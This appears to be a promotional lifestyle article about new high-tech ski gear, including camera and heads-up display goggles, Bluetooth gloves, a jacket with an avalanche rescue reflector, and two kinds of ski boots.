High-Tech Ski Equipment: Look Dope on the Slope
Who said fashion was just for the runway? Well tell them to think again . . . because high-tech ski equipment has taken a huge leap forward, and has given skiers on the slopes a reason to put their best boot forward.
From goggles to gloves to cameras to boots to helmets to jackets and more, the ski trails will feature tech-savvy models in the latest in ski gear, and you’re bound to see more gadgets than you’ve ever seen in previous seasons.
Check out some of the fancy, newfangled ski tech that’ll be showcased on the slopes this year:
Apex HD+ Video Snow Goggles – Skiers can now capture beautiful footage of everything they see while skiing, snowboarding, or riding a snowmobile. Welcome to the new Apex HD+ snow goggles with Full HD video and Wi-Fi for live streaming to smartphones and tablets. The snow goggles also feature an adjustable camera to help skiers dial in the best camera angle for their stance. With the ability to replay footage from their on-slope experience, skiers will never lose a memory again, because all they have to do is press play and let the memories roll.
Recon Hud Goggles – Ever wondered how fast you’re skiing, or how many vertical feet you’ve skied? Well the guessing game is over. Mounted on the inside right of the goggles, the display gives skiers the ability to view their speed and vertical feet skied, as well as control music playback. Plus, the built-in notification system displays incoming text messages and previews of who’s calling. So now, when you see that dreaded phone call coming in to interrupt your mission, just hit the “ignore” button to keep your flow and you’ll never miss another beat.
BearTek Bluetooth Snowsport Gloves – Ski tech just keeps getting better! With the new BearTek gloves, skiers can play/pause music; turn volume up/down; advance/skip back to their favorite tracks; or answer/decline phone calls without ever having to remove their gloves. Sensor controls in the fingertips of the gloves allow the user to toggle between using their index and middle fingers to accomplish tasks. So rest easy skiers, no more frostbite to worry about.
Helly Hansen Supreme Jacket – Thin is in, friends. At least that’s what Helly Hansen says about the new “H2FLOW” jacket. It’s thinner, lighter, more form-fitting, waterproof breathable, and made of 4-way stretch fabric. It also has a built-in RECCO Rescue System, which will help rescuers find you in the event you get caught in an avalanche. So to all the freeriders out there . . .you’re welcome – this one’s for you!
Apex MCX-14 Ski Boots – So, how much fun would it be to ski the slopes in a pair of “snowboarding-ski” boots? Well, you can answer that question after you’ve experienced the comfort and warmth of a pair of Apex MC-X ski boots! The new crossbred design essentially combines a “soft” snowboarding boot with a ski boot shell, and built to give skiers better performance on the slopes and trails. And the best part is, when the skiing’s done, the inner boot can be taken out and worn as a regular pair of boots. Now that is an awesome way to introduce a great twofer, and to squash the whole skier vs. boarder riff on the slope.
K2 Pinnacle 130 LV – Talk about a real game changer. These boots are for serious skiers only and are easily customized to fit while on the go. Other dominating features of these boots are great edge power and stability; top-notch quickness; reshaped toe-box for more breathing room; and a cushioned feeling against the shin for off trail bashing. Now that’s what we call the best-of-the-best, so skiers take your mark and . . . ready, set, go!
